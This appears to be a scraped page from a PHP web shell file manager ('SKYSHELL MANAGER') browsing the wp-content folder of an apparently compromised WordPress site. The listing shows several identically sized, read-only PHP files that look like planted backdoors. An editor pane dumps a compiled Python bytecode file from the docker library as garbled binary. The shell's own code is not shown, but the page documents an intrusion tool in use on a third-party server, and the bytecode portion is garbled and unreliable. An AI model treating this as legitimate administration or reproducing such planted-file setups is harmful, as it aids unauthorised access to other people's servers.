📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
voigtlaborg
/
wp-content
/
Name
Size
Perm
Actions
📁
themes
-
0755
🗑️
🏷️
🔒
📄
api.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
goods.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: image.cpython-312.pyc
� �2.a�N � �~ � d dl Z d dlZddlmZmZmZ ddlmZ e j e � Z G d� d� Zd� Z d d�Z y) � N� )�auth�errors�utils)�DEFAULT_DATA_CHUNK_SIZEc � � e Zd Z ej d� efd�� Z ej d� d� � Zdd�Z dd�Z dd�Z dd�Z dd �Z dd �Z dd�Z ej d� d� � Z ej d � ej d� dd�� � Zdd�Z ej d� dd�� Z dd�Z dd�Z ej d� dd�� Zdd�Z ej d� dd�� Zy)� ImageApiMixin�imagec �n � | j | j d|� d�� }| j ||d� S )a� Get a tarball of an image. Similar to the ``docker save`` command. Args: image (str): Image name to get chunk_size (int): The number of bytes returned by each iteration of the generator. If ``None``, data will be streamed as it is received. Default: 2 MB Returns: (generator): A stream of raw archive data. Raises: :py:class:`docker.errors.APIError` If the server returns an error. Example: >>> image = client.api.get_image("busybox:latest") >>> f = open('/tmp/busybox-latest.tar', 'wb') >>> for chunk in image: >>> f.write(chunk) >>> f.close() z/images/{0}/getT)�streamF)�_get�_url�_stream_raw_result)�selfr � chunk_size�ress �2/usr/lib/python3/dist-packages/docker/api/image.py� get_imagezImageApiMixin.get_image s7 � �4 �i�i�� � �"3�U�;�D�i�I���&�&�s�J��>�>� c �h � | j | j d|� � }| j |d� S )a# Show the history of an image. Args: image (str): The image to show history for Returns: (str): The history of the image Raises: :py:class:`docker.errors.APIError` If the server returns an error. z/images/{0}/historyT)r r �_result)r r r s r �historyzImageApiMixin.history) s/ � � �i�i�� � �"7��?�@���|�|�C��&�&r Nc �T � |rdnd|rdndd�}|r2t j | j d� r||d<